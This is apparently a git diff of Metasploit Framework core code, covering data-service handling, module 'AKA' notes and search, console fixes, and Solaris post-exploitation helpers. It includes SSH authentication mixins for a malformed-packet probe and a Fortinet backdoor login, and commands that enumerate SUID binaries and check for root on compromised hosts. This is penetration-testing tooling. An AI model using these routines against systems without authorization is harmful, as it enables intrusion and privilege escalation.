||||
#
|
||||
# Set the data service to be used
|
||||
#
|
||||
|
@ -185,6 +198,7 @@ class DataProxy
|
|||
@error = 'disabled'
|
||||
end
|
||||
rescue => e
|
||||
@error = e
|
||||
raise "Unable to initialize data service: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
@ -193,6 +207,13 @@ class DataProxy
|
|||
raise "Invalid data_service: #{data_service.class}, not of type Metasploit::Framework::DataService" unless data_service.is_a? (Metasploit::Framework::DataService)
|
||||
raise 'Cannot register null data service data_service' unless data_service
|
||||
raise 'Data Service already exists' if data_service_exist?(data_service)
|
||||
# Raising an error for local DB causes startup to fail if there is a DB configured but we are unable to connect
|
||||
# TODO: The check here shouldn't be dependent on if the data_service is local or not. We shouldn't
|
||||
# connect to any data service if it is not online/active. This can likely be fixed by making a true
|
||||
# LocalDataService instead of using DBManager.
|
||||
unless data_service.is_local?
|
||||
raise 'Data Service does not appear to be responding' unless data_service.active
|
||||
end
|
||||
end
|
||||
|
||||
def data_service_exist?(data_service)
|
||||
|
|
|
@ -39,7 +39,6 @@ module WorkspaceDataProxy
|
|||
else
|
||||
# This is mostly a failsafe to prevent bad things from happening. @current_workspace should always be set
|
||||
# outside of here, but this will save us from crashes/infinite loops if that happens
|
||||
warn "@current_workspace was not set. Setting to default_workspace: #{default_workspace.name}"
|
||||
@current_workspace = default_workspace
|
||||
end
|
||||
rescue => e
|
||||
|
|
|
@ -22,6 +22,8 @@ class RemoteHTTPDataService
|
|||
DELETE_REQUEST = 'DELETE'
|
||||
PUT_REQUEST = 'PUT'
|
||||
|
||||
attr_reader :endpoint, :https_opts, :api_token
|
||||
|
||||
#
|
||||
# @param [String] endpoint A valid http or https URL. Cannot be nil
|
||||
#
|
||||
|
@ -71,6 +73,10 @@ class RemoteHTTPDataService
|
|||
'none'
|
||||
end
|
||||
|
||||
def driver
|
||||
'http'
|
||||
end
|
||||
|
||||
#
|
||||
# POST data to the HTTP endpoint and don't wait for the endpoint to process the data before getting a response
|
||||
#
|
||||
|
@ -289,7 +295,7 @@ class RemoteHTTPDataService
|
|||
if @endpoint.is_a?(URI::HTTPS)
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_PEER
|
||||
unless @https_opts.empty?
|
||||
if @https_opts && !@https_opts.empty?
|
||||
if @https_opts[:skip_verify]
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
else
|
||||
|
|
|
@ -243,6 +243,14 @@ class Config < Hash
|
|||
self.new.save(opts)
|
||||
end
|
||||
|
||||
# Deletes the specified config group from the ini file
|
||||
#
|
||||
# @param group [String] The name of the group to remove
|
||||
# @return [void]
|
||||
def self.delete_group(group)
|
||||
self.new.delete_group(group)
|
||||
end
|
||||
|
||||
# Updates the config class' self with the default hash.
|
||||
#
|
||||
# @return [Hash] the updated Hash.
|
||||
|
@ -424,6 +432,17 @@ class Config < Hash
|
|||
ini.to_file
|
||||
end
|
||||
|
||||
# Deletes the specified config group from the ini file
|
||||
#
|
||||
# @param group [String] The name of the group to remove
|
||||
# @return [void]
|
||||
def delete_group(group)
|
||||
ini = Rex::Parser::Ini.new(config_file)
|
||||
|
||||
ini.delete(group)
|
||||
|
||||
ini.to_file
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -214,6 +214,9 @@ class ReadableText
|
|||
# References
|
||||
output << dump_references(mod, indent)
|
||||
|
||||
# AKA
|
||||
output << dump_aka(mod, indent)
|
||||
|
||||
return output
|
||||
|
||||
end
|
||||
|
@ -264,6 +267,9 @@ class ReadableText
|
|||
# References
|
||||
output << dump_references(mod, indent)
|
||||
|
||||
# AKA
|
||||
output << dump_aka(mod, indent)
|
||||
|
||||
return output
|
||||
end
|
||||
|
||||
|
@ -319,6 +325,9 @@ class ReadableText
|
|||
# References
|
||||
output << dump_references(mod, indent)
|
||||
|
||||
# AKA
|
||||
output << dump_aka(mod, indent)
|
||||
|
||||
return output
|
||||
end
|
||||
|
||||
|
@ -535,6 +544,27 @@ class ReadableText
|
|||
output
|
||||
end
|
||||
|
||||
# Dumps the aka names associated with the supplied module.
|
||||
#
|
||||
# @param mod [Msf::Module] the module.
|
||||
# @param indent [String] the indentation to use.
|
||||
# @return [String] the string form of the information.
|
||||
def self.dump_aka(mod, indent = '')
|
||||
output = ''
|
||||
|
||||
if mod.notes['AKA'].present?
|
||||
output << "AKA:\n"
|
||||
|
||||
mod.notes['AKA'].each do |aka_name|
|
||||
output << indent + aka_name + "\n"
|
||||
end
|
||||
|
||||
output << "\n"
|
||||
end
|
||||
|
||||
output
|
||||
end
|
||||
|
||||
# Dumps the contents of a datastore.
|
||||
#
|
||||
# @param name [String] displayed as the table header.
|
||||
|
@ -620,10 +650,12 @@ class ReadableText
|
|||
'Indent' => indent,
|
||||
'SortIndex' => 1)
|
||||
|
||||
framework.db.sessions.each do |session|
|
||||
unless session.closed_at.nil?
|
||||
row = create_mdm_session_row(session, show_extended)
|
||||
tbl << row
|
||||
if framework.db.active
|
||||
framework.db.sessions.each do |session|
|
||||
unless session.closed_at.nil?
|
||||
row = create_mdm_session_row(session, show_extended)
|
||||
tbl << row
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -664,7 +696,7 @@ class ReadableText
|
|||
end
|
||||
|
||||
if session.exploit_datastore && session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
|
||||
row << "(#{exploit_datastore['LURI']})"
|
||||
row << "(#{session.exploit_datastore['LURI']})"
|
||||
else
|
||||
row << '?'
|
||||
end
|
||||
|
|
|
@ -69,6 +69,13 @@ class CommandShell
|
|||
"Command shell"
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the class method
|
||||
#
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Provider::SingleCommandShell implementors
|
||||
#
|
||||
|
|
|
@ -373,11 +373,11 @@ class Exploit < Msf::Module
|
|||
end
|
||||
|
||||
#
|
||||
# Performs last-minute sanity checking of auxiliary parameters. This method
|
||||
# Performs last-minute sanity checking of exploit parameters. This method
|
||||
# is called during automated exploitation attempts and allows an
|
||||
# auxiliary module to filter bad attempts, obtain more information, and choose
|
||||
# better parameters based on the available data. Returning anything that
|
||||
# evaluates to "false" will cause this specific auxiliary attempt to
|
||||
# exploit to filter bad targets, obtain more information, and choose
|
||||
# better targets based on the available data. Returning anything that
|
||||
# evaluates to "false" will cause this specific exploit attempt to
|
||||
# be skipped. This method can and will change datastore values and
|
||||
# may interact with the backend database.
|
||||
#
|
||||
|
@ -557,6 +557,7 @@ class Exploit < Msf::Module
|
|||
reqs['BadChars'] = payload_badchars(explicit_target)
|
||||
reqs['Append'] = payload_append(explicit_target)
|
||||
reqs['AppendEncoder'] = payload_append_encoder(explicit_target)
|
||||
reqs['DisableNops'] = payload_disable_nops(explicit_target)
|
||||
reqs['MaxNops'] = payload_max_nops(explicit_target)
|
||||
reqs['MinNops'] = payload_min_nops(explicit_target)
|
||||
reqs['Encoder'] = datastore['ENCODER'] || payload_encoder(explicit_target)
|
||||
|
@ -879,6 +880,19 @@ class Exploit < Msf::Module
|
|||
p
|
||||
end
|
||||
|
||||
#
|
||||
# Whether NOP generation should be enabled or disabled
|
||||
#
|
||||
def payload_disable_nops(explicit_target = nil)
|
||||
explicit_target ||= target
|
||||
|
||||
if (explicit_target and explicit_target.payload_disable_nops)
|
||||
explicit_target.payload_disable_nops
|
||||
else
|
||||
payload_info['DisableNops']
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Maximum number of nops to use as a hint to the framework.
|
||||
# Nil signifies that the framework should decide.
|
||||
|
|
|
@ -121,8 +121,5 @@ require 'msf/core/exploit/http/jboss'
|
|||
# Kerberos Support
|
||||
require 'msf/core/exploit/kerberos/client'
|
||||
|
||||
# Fortinet
|
||||
require 'msf/core/exploit/fortinet'
|
||||
|
||||
# Other
|
||||
require 'msf/core/exploit/windows_constants'
|
||||
|
|
|
@ -83,7 +83,7 @@ module Exploit::Remote::SocketServer
|
|||
if (service)
|
||||
begin
|
||||
self.service.deref if self.service.kind_of?(Rex::Service)
|
||||
if self.service.kind_of?(Rex::Socket)
|
||||
if self.service.kind_of?(Rex::Socket) || self.service.kind_of?(Rex::Post::Meterpreter::Channel)
|
||||
self.service.close
|
||||
self.service.stop
|
||||
end
|
||||
|
@ -164,6 +164,20 @@ protected
|
|||
comm
|
||||
end
|
||||
|
||||
def via_string_for_ip(ip, comm)
|
||||
comm_used = comm
|
||||
comm_used ||= Rex::Socket::SwitchBoard.best_comm(ip)
|
||||
comm_used ||= Rex::Socket::Comm::Local
|
||||
|
||||
if comm_used.respond_to?(:type) && comm_used.respond_to?(:sid)
|
||||
via = "via the #{comm_used.type} on session #{comm_used.sid}"
|
||||
else
|
||||
via = ""
|
||||
end
|
||||
|
||||
via
|
||||
end
|
||||
|
||||
attr_accessor :service # :nodoc:
|
||||
|
||||
end
|
||||
|
|
|
@ -1,8 +1,18 @@
|
|||
module Msf
|
||||
module Exploit::Remote::SSH
|
||||
require 'rex/socket/ssh_factory'
|
||||
def ssh_socket_factory
|
||||
Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])
|
||||
end
|
||||
module Msf::Exploit::Remote::SSH
|
||||
|
||||
# Require most things so that modules using this will "just work"
|
||||
require 'net/ssh'
|
||||
require 'net/ssh/command_stream'
|
||||
require 'rex/socket/ssh_factory'
|
||||
require 'msf/core/exploit/ssh/auth_methods'
|
||||
|
||||
def ssh_socket_factory
|
||||
Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])
|
||||
end
|
||||
|
||||
# Finally patch in our custom auth methods:
|
||||
# malformed-packet
|
||||
# fortinet-backdoor
|
||||
include Msf::Exploit::Remote::SSH::AuthMethods
|
||||
|
||||
end
|
||||
|
|
|
@ -1,13 +1,52 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::Exploit::Remote::SSH::AuthMethods
|
||||
|
||||
# https://www.ietf.org/rfc/rfc4252.txt
|
||||
# https://www.ietf.org/rfc/rfc4256.txt
|
||||
#
|
||||
# https://tools.ietf.org/rfc/rfc4252.txt
|
||||
# https://tools.ietf.org/rfc/rfc4253.txt
|
||||
#
|
||||
class Net::SSH::Authentication::Methods::MalformedPacket < Net::SSH::Authentication::Methods::Abstract
|
||||
def authenticate(service_name, username, password = nil)
|
||||
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (publickey)' }
|
||||
|
||||
require 'net/ssh'
|
||||
# Corrupt everything after auth method
|
||||
send_message(userauth_request(
|
||||
=begin
|
||||
string user name in ISO-10646 UTF-8 encoding [RFC3629]
|
||||
string service name in US-ASCII
|
||||
string "publickey"
|
||||
boolean FALSE
|
||||
string public key algorithm name
|
||||
string public key blob
|
||||
=end
|
||||
username,
|
||||
service_name,
|
||||
'publickey',
|
||||
Rex::Text.rand_text_english(8..42)
|
||||
))
|
||||
|
||||
module Msf::Exploit::Remote::Fortinet
|
||||
# SSH_MSG_DISCONNECT is queued
|
||||
begin
|
||||
message = session.next_message
|
||||
rescue Net::SSH::Disconnect
|
||||
debug { 'Received SSH_MSG_DISCONNECT' }
|
||||
return true
|
||||
end
|
||||
|
||||
if message && message.type == USERAUTH_FAILURE
|
||||
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
|
||||
return false
|
||||
end
|
||||
|
||||
# We'll probably never hit this
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# https://www.ietf.org/rfc/rfc4252.txt
|
||||
# https://www.ietf.org/rfc/rfc4256.txt
|
||||
#
|
||||
class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract
|
||||
|
||||
USERAUTH_INFO_REQUEST = 60
|
||||
USERAUTH_INFO_RESPONSE = 61
|
||||
|
||||
|
@ -119,6 +158,6 @@ module Msf::Exploit::Remote::Fortinet
|
|||
h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
|
||||
[h]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -104,6 +104,10 @@ module Exploit::Remote::TcpServer
|
|||
end
|
||||
raise e
|
||||
end
|
||||
|
||||
via = via_string_for_ip(srvhost, comm)
|
||||
hoststr = Rex::Socket.is_ipv6?(srvhost) ? "[#{srvhost}]" : srvhost
|
||||
print_status("Started service listener on #{hoststr}:#{srvport} #{via}")
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -404,6 +404,7 @@ class Module
|
|||
'Ref' => nil,
|
||||
'Privileged' => false,
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {}
|
||||
}.update(self.module_info)
|
||||
self.module_store = {}
|
||||
end
|
||||
|
|
|
@ -39,6 +39,14 @@ module Msf::Module::ModuleInfo
|
|||
module_info['Name']
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Return the module's notes (including AKA and NOCVE descriptors).
|
||||
#
|
||||
def notes
|
||||
module_info['Notes']
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
|
@ -217,4 +225,4 @@ module Msf::Module::ModuleInfo
|
|||
|
||||
return info
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -24,7 +24,7 @@ class Msf::Module::Reference
|
|||
end
|
||||
|
||||
#
|
||||
# Compares references to see if their equal.
|
||||
# Compares references to see if they're equal.
|
||||
#
|
||||
def ==(tgt)
|
||||
return (tgt.to_s == to_s)
|
||||
|
@ -115,8 +115,6 @@ class Msf::Module::SiteReference < Msf::Module::Reference
|
|||
self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}"
|
||||
elsif in_ctx_id == 'URL'
|
||||
self.site = in_ctx_val.to_s
|
||||
elsif in_ctx_id == 'AKA'
|
||||
self.site = "Also known as: #{in_ctx_val}"
|
||||
elsif in_ctx_id == 'LOGO'
|
||||
self.site = "Logo: #{in_ctx_val}"
|
||||
elsif in_ctx_id == 'SOUNDTRACK'
|
||||
|
|
|
@ -139,7 +139,7 @@ class Msf::Module::Target
|
|||
self.name = name
|
||||
self.opts = opts
|
||||
self.save_registers = opts['SaveRegisters']
|
||||
self.ret = opts['Ret'],
|
||||
self.ret = opts['Ret']
|
||||
self.default_options = opts['DefaultOptions']
|
||||
|
||||
if opts['Platform']
|
||||
|
@ -219,6 +219,13 @@ class Msf::Module::Target
|
|||
opts['Payload'] ? opts['Payload']['StackAdjustment'] : nil
|
||||
end
|
||||
|
||||
#
|
||||
# Whether NOP generation should be enabled or disabled
|
||||
#
|
||||
def payload_disable_nops
|
||||
opts['Payload'] ? opts['Payload']['DisableNops'] : nil
|
||||
end
|
||||
|
||||
#
|
||||
# Payload max nops information for this target.
|
||||
#
|
||||
|
|
|
@ -58,6 +58,7 @@ class Msf::Modules::External::Shim
|
|||
end.join(",\n ")
|
||||
|
||||
meta[:capabilities] = mod.meta['capabilities']
|
||||
meta[:notes] = transform_notes(mod.meta['notes'])
|
||||
meta
|
||||
end
|
||||
|
||||
|
@ -105,7 +106,6 @@ class Msf::Modules::External::Shim
|
|||
meta[:references] = mod.meta['references'].map do |r|
|
||||
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
|
||||
end.join(",\n ")
|
||||
|
||||
render_template('single_scanner.erb', meta)
|
||||
end
|
||||
|
||||
|
@ -138,4 +138,16 @@ class Msf::Modules::External::Shim
|
|||
|
||||
render_template('dos.erb', meta)
|
||||
end
|
||||
|
||||
#
|
||||
# In case certain notes are not properly capitalized in the external module definition,
|
||||
# ensure that they are properly capitalized before rendering.
|
||||
#
|
||||
def self.transform_notes(notes)
|
||||
notes.reduce({}) do |acc, (key, val)|
|
||||
acc[key.upcase] = val
|
||||
acc
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,3 +5,4 @@
|
|||
<%= meta[:authors] %>
|
||||
],
|
||||
'License' => <%= meta[:license] %>,
|
||||
'Notes' => <%= meta[:notes] %>,
|
||||
|
|
|
@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
<%= meta[:targets] %>
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> }
|
||||
'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> },
|
||||
))
|
||||
|
||||
register_options([
|
||||
|
|
|
@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
<%= meta[:targets] %>
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> }
|
||||
'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> },
|
||||
))
|
||||
|
||||
register_options([
|
||||
|
|
|
@ -49,6 +49,8 @@ class Obj
|
|||
attr_reader :post_auth
|
||||
# @return [Boolean]
|
||||
attr_reader :default_credential
|
||||
# @return [Hash]
|
||||
attr_reader :notes
|
||||
|
||||
def initialize(module_instance, obj_hash = nil)
|
||||
unless obj_hash.nil?
|
||||
|
@ -92,6 +94,8 @@ class Obj
|
|||
# Store whether a module has a check method
|
||||
@check = module_instance.respond_to?(:check) ? true : false
|
||||
|
||||
@notes = module_instance.notes
|
||||
|
||||
# Due to potentially non-standard ASCII we force UTF-8 to ensure no problem with JSON serialization
|
||||
force_encoding(Encoding::UTF_8)
|
||||
end
|
||||
|
@ -121,7 +125,8 @@ class Obj
|
|||
'ref_name' => @ref_name,
|
||||
'check' => @check,
|
||||
'post_auth' => @post_auth,
|
||||
'default_credential' => @default_credential
|
||||
'default_credential' => @default_credential,
|
||||
'notes' => @notes
|
||||
}.to_json(*args)
|
||||
end
|
||||
|
||||
|
@ -170,6 +175,7 @@ class Obj
|
|||
@check = obj_hash['check'] ? true : false
|
||||
@post_auth = obj_hash['post_auth']
|
||||
@default_credential = obj_hash['default_credential']
|
||||
@notes = obj_hash['notes'].nil? ? {} : obj_hash['notes']
|
||||
end
|
||||
|
||||
def sort_platform_string
|
||||
|
|
|
@ -6,7 +6,7 @@ require 'msf/core/modules/metadata'
|
|||
module Msf::Modules::Metadata::Search
|
||||
|
||||
VALID_PARAMS =
|
||||
%w[app author authors arch cve bid edb check date disclosure_date description full_name fullname mod_time
|
||||
%w[aka app author authors arch cve bid edb check date disclosure_date description full_name fullname mod_time
|
||||
name os platform path port rport rank ref ref_name reference references target targets text type]
|
||||
|
||||
#
|
||||
|
@ -47,6 +47,8 @@ module Msf::Modules::Metadata::Search
|
|||
regex = Regexp.new(Regexp.escape(search_term), true)
|
||||
|
||||
case keyword
|
||||
when 'aka'
|
||||
match = [keyword, search_term] if (module_metadata.notes['AKA'] || []).any? { |aka| aka =~ regex }
|
||||
when 'app'
|
||||
match = [keyword, search_term] if (search_term == "server" and module_metadata.is_server)
|
||||
match = [keyword, search_term] if (search_term == "client" and module_metadata.is_client)
|
||||
|
@ -121,7 +123,7 @@ module Msf::Modules::Metadata::Search
|
|||
when 'target', 'targets'
|
||||
match = [keyword, search_term] if module_metadata.targets.any? { |target| target =~ regex }
|
||||
when 'text'
|
||||
terms = [module_metadata.name, module_metadata.full_name, module_metadata.description] + module_metadata.references + module_metadata.author
|
||||
terms = [module_metadata.name, module_metadata.full_name, module_metadata.description] + module_metadata.references + module_metadata.author + (module_metadata.notes['AKA'] || [])
|
||||
|
||||
if module_metadata.targets
|
||||
terms = terms + module_metadata.targets
|
||||
|
|
|
@ -135,6 +135,19 @@ module Msf::Post::File
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# See if +path+ on the remote system exists and is writable
|
||||
#
|
||||
# @param path [String] Remote path to check
|
||||
#
|
||||
# @return [Boolean] true if +path+ exists and is writable
|
||||
#
|
||||
def writable?(path)
|
||||
raise "writable?' method does not support Windows systems" if session.platform == 'windows'
|
||||
|
||||
cmd_exec("test -w '#{path}' && echo true").to_s.include? 'true'
|
||||
end
|
||||
|
||||
#
|
||||
# Check for existence of +path+ on the remote file system
|
||||
#
|
||||
|
|
|
@ -11,19 +11,12 @@ module Priv
|
|||
# Returns true if running as root, false if not.
|
||||
#
|
||||
def is_root?
|
||||
root_priv = false
|
||||
user_id = cmd_exec("id -u")
|
||||
clean_user_id = user_id.to_s.gsub(/[^\d]/,"")
|
||||
unless clean_user_id.empty?
|
||||
if clean_user_id =~ /^0$/
|
||||
root_priv = true
|
||||
elsif clean_user_id =~ /^\d*$/
|
||||
root_priv = false
|
||||
end
|
||||
else
|
||||
user_id = cmd_exec('id -u')
|
||||
clean_user_id = user_id.to_s.gsub(/[^\d]/, '')
|
||||
if clean_user_id.empty?
|
||||
raise "Could not determine UID: #{user_id.inspect}"
|
||||
end
|
||||
return root_priv
|
||||
(clean_user_id == '0')
|
||||
end
|
||||
|
||||
end # Priv
|
||||
|
|
|
@ -2,4 +2,5 @@
|
|||
module Msf::Post::Solaris
|
||||
require 'msf/core/post/solaris/priv'
|
||||
require 'msf/core/post/solaris/system'
|
||||
require 'msf/core/post/solaris/kernel'
|
||||
end
|
||||
|
|
|
@ -0,0 +1,60 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/post/common'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Solaris
|
||||
module Kernel
|
||||
include ::Msf::Post::Common
|
||||
|
||||
#
|
||||
# Returns uname output
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def uname(opts='-a')
|
||||
cmd_exec("uname #{opts}").to_s.strip
|
||||
rescue
|
||||
raise "Failed to run uname #{opts}"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the kernel release
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def kernel_release
|
||||
uname('-r')
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the kernel version
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def kernel_version
|
||||
uname('-v')
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the kernel name
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def kernel_name
|
||||
uname('-s')
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the kernel hardware
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def kernel_hardware
|
||||
uname('-m')
|
||||
end
|
||||
|
||||
end # Kernel
|
||||
end # Linux
|
||||
end # Post
|
||||
end # Msf
|
|
@ -11,12 +11,12 @@ module Priv
|
|||
# Returns true if running as root, false if not.
|
||||
#
|
||||
def is_root?
|
||||
root_priv = false
|
||||
user_id = cmd_exec("/usr/xpg4/bin/id -u")
|
||||
if user_id.to_i == 0
|
||||
root_priv = true
|
||||
clean_user_id = user_id.to_s.gsub(/[^\d]/, '')
|
||||
if clean_user_id.empty?
|
||||
raise "Could not determine UID: #{user_id.inspect}"
|
||||
end
|
||||
return root_priv
|
||||
(clean_user_id == '0')
|
||||
end
|
||||
|
||||
end # Priv
|
||||
|
|
|
@ -25,6 +25,115 @@ module System
|
|||
return system_data
|
||||
end
|
||||
|
||||
#
|
||||
# Gathers all SUID files on the filesystem.
|
||||
# NOTE: This uses the Linux `find` command. It will most likely take a while to get all files.
|
||||
# Consider specifying a more narrow find path.
|
||||
# @param findpath The path on the system to start searching
|
||||
# @return [Array]
|
||||
def get_suid_files(findpath = '/')
|
||||
out = cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n")
|
||||
out.delete_if {|i| i.include?'Permission denied'}
|
||||
rescue
|
||||
raise "Could not retrieve all SUID files"
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the $PATH environment variable
|
||||
#
|
||||
def get_path
|
||||
cmd_exec('echo $PATH').to_s
|
||||
rescue
|
||||
raise "Unable to determine path"
|
||||
end
|
||||
|
||||
#
|
||||
# Gets basic information about the system's CPU.
|
||||
# @return [Hash]
|
||||
#
|
||||
def get_cpu_info
|
||||
info = {}
|
||||
orig = cmd_exec('kstat -m cpu_info -p').to_s
|
||||
cpuinfo = orig.split("\n")
|
||||
# This is probably a more platform independent way to parse the results (compared to splitting and assigning preset indices to values)
|
||||
cpuinfo.each do |l|
|
||||
info[:speed_mhz] = l.split(':')[3].split("\t")[1].to_i if l.include? 'clock_MHz'
|
||||
info[:product] = l.split(':')[3].split("\t")[1] if l.include? 'brand'
|
||||
info[:vendor] = l.split(':')[3].split("\t")[1] if l.include? 'vendor_id'
|
||||
info[:cores] = l.split(':')[3].split("\t")[1].to_i if l.include? 'ncore_per_chip'
|
||||
end
|
||||
return info
|
||||
rescue
|
||||
raise "Could not get CPU information"
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the hostname of the system
|
||||
# @return [String]
|
||||
#
|
||||
def get_hostname
|
||||
cmd_exec('uname -n').to_s
|
||||
rescue
|
||||
raise 'Unable to retrieve hostname'
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the name of the current shell
|
||||
# @return [String]
|
||||
#
|
||||
def get_shell_name
|
||||
psout = cmd_exec('ps -p $$').to_s
|
||||
psout.split("\n").last.split(' ')[3]
|
||||
rescue
|
||||
raise 'Unable to gather shell name'
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the system has gcc installed
|
||||
# @return [Boolean]
|
||||
#
|
||||
def has_gcc?
|
||||
# https://github.com/rapid7/metasploit-framework/pull/10437#issuecomment-419984613
|
||||
command_exists?('gcc') || command_exists?('/usr/sfw/bin/gcc')
|
||||
rescue
|
||||
raise 'Unable to check for gcc'
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the `cmd` is installed on the system
|
||||
# @return [Boolean]
|
||||
#
|
||||
def command_exists?(cmd)
|
||||
cmd_exec("command -v #{cmd} && echo true").to_s.include? 'true'
|
||||
rescue
|
||||
raise "Unable to check if command `#{cmd}` exists"
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the process id(s) of `program`
|
||||
# @return [Array]
|
||||
#
|
||||
def pidof(program)
|
||||
pids = []
|
||||
full = cmd_exec('ps -elf').to_s
|
||||
full.split("\n").each do |pid|
|
||||
pids << pid.split(' ')[3].to_i if pid.include? program
|
||||
end
|
||||
pids
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the mount point of `filepath`
|
||||
# @param [String] filepath The filepath to get the mount point
|
||||
# @return [String]
|
||||
#
|
||||
def get_mount_path(filepath)
|
||||
cmd_exec("df \"#{filepath}\" | tail -1").split(' ')[0]
|
||||
rescue
|
||||
raise "Unable to get mount path of #{filepath}"
|
||||
end
|
||||
|
||||
|
||||
end # System
|
||||
end # Solaris
|
||||
end # Post
|
||||
|
|
|
@ -160,7 +160,6 @@ class Core
|
|||
cmd_color_help
|
||||
return
|
||||
end
|
||||
driver.update_prompt
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -1083,19 +1082,10 @@ class Core
|
|||
msg = "Spooling to file #{args[0]}..."
|
||||
end
|
||||
|
||||
# Restore color and prompt
|
||||
# Restore color
|
||||
driver.output.config[:color] = color
|
||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||
if active_module
|
||||
# intentionally += and not << because we don't want to modify
|
||||
# datastore or the constant DefaultPrompt
|
||||
prompt += " #{active_module.type}(%bld%red#{active_module.promptname}%clr)"
|
||||
end
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt} ", prompt_char, true)
|
||||
|
||||
print_status(msg)
|
||||
return
|
||||
end
|
||||
|
||||
def cmd_sessions_help
|
||||
|
@ -1210,6 +1200,10 @@ class Core
|
|||
end
|
||||
end
|
||||
|
||||
if show_inactive && !framework.db.active
|
||||
print_warning("Database not connected; list of inactive sessions unavailable")
|
||||
end
|
||||
|
||||
last_known_timeout = nil
|
||||
|
||||
# Now, perform the actual method
|
||||
|
@ -2003,31 +1997,19 @@ class Core
|
|||
|
||||
rx = Regexp.new(pattern, match_mods[:insensitive])
|
||||
|
||||
# get a ref to the current console driver
|
||||
orig_driver = self.driver
|
||||
# redirect output after saving the old ones and getting a new output buffer to use for redirect
|
||||
orig_driver_output = orig_driver.output
|
||||
orig_driver_input = orig_driver.input
|
||||
# redirect output after saving the old one and getting a new output buffer to use for redirect
|
||||
orig_output = driver.output
|
||||
|
||||
# we use a rex buffer but add a write method to the instance, which is
|
||||
# required in order to be valid $stdout
|
||||
temp_output = Rex::Ui::Text::Output::Buffer.new
|
||||
temp_output.extend Rex::Ui::Text::Output::Buffer::Stdout
|
||||
|
||||
orig_driver.init_ui(orig_driver_input,temp_output)
|
||||
driver.init_ui(driver.input, temp_output)
|
||||
# run the desired command to be grepped
|
||||
orig_driver.run_single(cmd)
|
||||
driver.run_single(cmd)
|
||||
# restore original output
|
||||
orig_driver.init_ui(orig_driver_input,orig_driver_output)
|
||||
# restore the prompt so we don't get "msf > >".
|
||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
mod = active_module
|
||||
if mod # if there is an active module, give them the fanciness they have come to expect
|
||||
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.promptname}%clr) ", prompt_char, true)
|
||||
else
|
||||
driver.update_prompt("#{prompt} ", prompt_char, true)
|
||||
end
|
||||
driver.init_ui(driver.input, orig_output)
|
||||
|
||||
# dump the command's output so we can grep it
|
||||
cmd_output = temp_output.dump_buffer
|
||||
|
|
|
@ -19,6 +19,8 @@ class Db
|
|||
include Msf::Ui::Console::CommandDispatcher
|
||||
include Msf::Ui::Console::CommandDispatcher::Common
|
||||
|
||||
DB_CONFIG_PATH = 'framework/database'
|
||||
|
||||
#
|
||||
# The dispatcher's name.
|
||||
#
|
||||
|
@ -31,9 +33,11 @@ class Db
|
|||
#
|
||||
